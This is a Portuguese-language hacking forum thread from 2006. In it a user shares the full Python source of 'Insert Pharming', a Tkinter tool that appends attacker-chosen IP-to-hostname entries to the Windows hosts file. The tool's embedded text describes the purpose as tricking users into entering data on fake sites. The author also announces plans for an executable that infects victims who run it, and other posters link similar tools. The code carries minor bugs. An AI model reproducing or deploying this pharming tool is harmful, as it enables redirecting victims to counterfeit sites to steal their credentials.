Insert Pharming (Python)

Iniciado por Kratos, 10 de Março , 2006, 06:53:12 PM

tópico anterior - próximo tópico

0 Membros e 1 Visitante estão vendo este tópico.

Kratos

Acabo de codar em python um programa que injeta no arquivo 'host' do Win32 um IP associado a um nome (Pharming)


Para explicar melhor tomei a liberdade de usar (no programa) as palavras do Shady sobre a Técnica, pois foi a que eu achei mais resumida!!





Download :  http://rapidshare.de/files/15188518/Pharming.pyo.html


Espero que levem em consideração a baixa qualidade do Tkinter!!

Logo vou codar um que gera um executavel (algo que seja um servidor) que a vitima executa e se infecta (o host)

...
::: "A vida é bela pra quem sabe curtir" :::





Anonymous

Meu amigo se você quiser um de forma mais simples faça em delphi que ja ajuda muito!!!

Shady



Mundus Vult Decipi

slul

Citação de: "Wolff123"Meu amigo se você quiser um de forma mais simples faça em delphi que ja ajuda muito!!!

O python é tao simples qto o Object Pascal ^^

Abraço

Cloudy

Aí, fiz um em Shell Script, quem quiser dar uma olhadinha: http://www.darkers.com.br/smf/index.php/topic,1140.0.html

...by Cloudy
"You have to be trusted by the people tou lied to, so when they turn their back on you, you have the chance to the put the knife in." (Roger Waters)

...by Cloudy

locator.dll

Kratos tem como você postar o código do .py ? ;)

vlw

locator.dll

Kratos

Pôw, desculpa aew Locator.... foi mal demorar para responder kra!!
Ta ai o source pra quem quiser estudar....

# -*- coding: ISO-8859-1 -*-
# By Kratos

from Tkinter import *
import tkMessageBox
import socket


_text = """A tecnica Pharming consiste em modificar o arquivo de hosts do sistema para enganar o usuario e faze-lo inserir dados em paginas falsas.\n
Você teoricamente precisaria digitar http://64.233.161.147 para entrar no Google. O protocolo DNS serve para facilitar o uso de browsers, associando um "nome" (www.google.com) ao endereço real do servidor (64.233.161.147).\n\n
O Windows possui um "arquivo DNS local". Nele você pode associar endereços de IP a nomes. A unica entrada presente nele por default e:\n
127.0.0.1        localhost\n
Se voce abrir seu navegador e digitar: "localhost", vai cair em 127.0.0.1 (a mesma coisa se usar ping localhost, ou se usar localhost em qualquer outro programa instalado no computador que peça um hostname ou IP).\n
Sabendo da existencia deste arquivo, hackers podem modifica-lo para criar armadilhas. Voçe pode associar um endereco IP de um site que falsificou ao nome real do site.\n
bY Shady <www.darkers.com.br>"""

# Créditos do comentario acima: Shady

_about = """Insert Pharming v 0.1
Linguagem: Python (form Win32)\n
Plataforma: Windows XP/2000/NT\n
Coder: Kratos\n
e-mail: eu_mesmoSP@hotmail.com"""

class Myapp(Frame):
def __init__(self, master=None):
Frame.__init__(self, master)
self.configure()
self.grid()


# Menus -------------------------------------------------

self.menu = Menu(root)
root.config(menu=self.menu)

self.filemenu = Menu(self.menu)
self.menu.add_cascade(label="Arquivo", menu=self.filemenu)
self.filemenu.add_command(label="Sair", command=lambda:self.exit(self))

self.helpmenu = Menu(self.menu)
self.menu.add_cascade(label="Ajuda", menu=self.helpmenu)
self.helpmenu.add_command(label="Pharming", command=lambda:self.pharm(self))
self.helpmenu.add_command(label="Pegar IP", command=lambda:self.gethost(self))
self.helpmenu.add_command(label="Sobre...", command=lambda:self.about(self))

# -------------------------------------------------------

self.label1 = Label()
self.label1.configure(width=20, text="Pharming -----", fg="#861a1a", font="Arial 12 bold")
self.label1.grid(column=0,row=0)


self.labelip = Label()
self.labelip.configure(width=10, text="IP : ", fg="blue")
self.labelip.grid(column=0,row=1)

self.numip  = Entry()
self.numip.configure(width=20, fg="white", bg="black", borderwidth="5")
self.numip.grid(column=1,row=1)

self.labeldns = Label()
self.labeldns.configure(width=10, text="Nome (DNS): ", fg="blue")
self.labeldns.grid(column=0,row=2)

self.dns = Entry()
self.dns.configure(width=20,fg="white", bg="black", borderwidth="5")
self.dns.grid(column=1,row=2)

self.button1 = Button()
self.button1.configure(width=10, text="Inserir", border="5", command=lambda:self.insert(self))
self.button1.grid(column=0,row=3)


def exit(self, event):
root.destroy()


def pharm(self, event):
tkMessageBox.showwarning("Pharming", _text)

def gethost(self, event):
self.labelh = Label()
self.labelh.configure(width=10, text="Hostname", fg="blue")
self.labelh.grid(column=0,row=4)

self.host = Entry()
self.host.configure(width=20,fg="white", bg="black", borderwidth="5", relief="groove")
self.host.grid(column=1,row=4)

self.button2 = Button()
self.button2.configure(width=10, text="Checar...", border="5", fg="red", command=lambda:self.sockget(self))
self.button2.grid(column=0,row=5)

self.scrol = Scrollbar()
self.scrol.grid(column=1,row=6,stick="w",pady=5,ipady=45)


self.t = "--->> "
self.txt = Listbox()
self.txt.configure(width=30, height=10, bg="black", fg="yellow",yscrollcommand=self.scrol.set)
self.txt.insert(END,self.t)
self.txt.grid(column=0,row=6)

self.scrol.configure(command=self.txt.yview)


def sockget(self, event):
self.t2 = "Preencha o campo !!! \n"
try:
self.ind = self.host.get()
self.ind2 = socket.gethostbyname(self.ind)
self.ind3 = "IP : %s\n" %(self.ind2)
if self.host.get() == "":
self.txt.insert("end", self.t2)
else:
self.txt.insert("end", self.ind3)

    except socket.gaierror:
      tkMessageBox.showwarning("Erro", "Ocorreu um erro\n\nTente novamnte!")

def about(self, event):
tkMessageBox.showwarning("Sobre Insert Pharming", _about)


def insert(self, event):
try:
self.src = "C:\WINDOWS\system32\drivers\etc\hosts"
self.dnsset = "%s    %s\n" %(self.numip.get(),self.dns.get())
self._insert = "Você acaba de injetar o IP %s associado ao nome %s no arquivo 'host'" %(self.numip.get(),self.dns.get())

f = open(self.src,"a")
f.write("\n")
f.write(self.dnsset)
f.close
tkMessageBox.showwarning("Insert Pharming", self._insert)

except error:
tkMessageBox.showwarning("Erro", "Ocorreu algum erro ao tentar abrir o arquivo 'host' no seu Computador")


root = Tk()
root.title("Insert Pharming")
Myapp = Myapp(root)
root.mainloop()  # uffa!

obs.: O programa esta com os comentarios e variaveis tudo dentro dele, mas eu poderia simplesmente usar uma classe a parte, para deixa-lo mais leve

vlw
::: "A vida é bela pra quem sabe curtir" :::





locator.dll

Obrigado Kratos.. ;)

vlw

locator.dll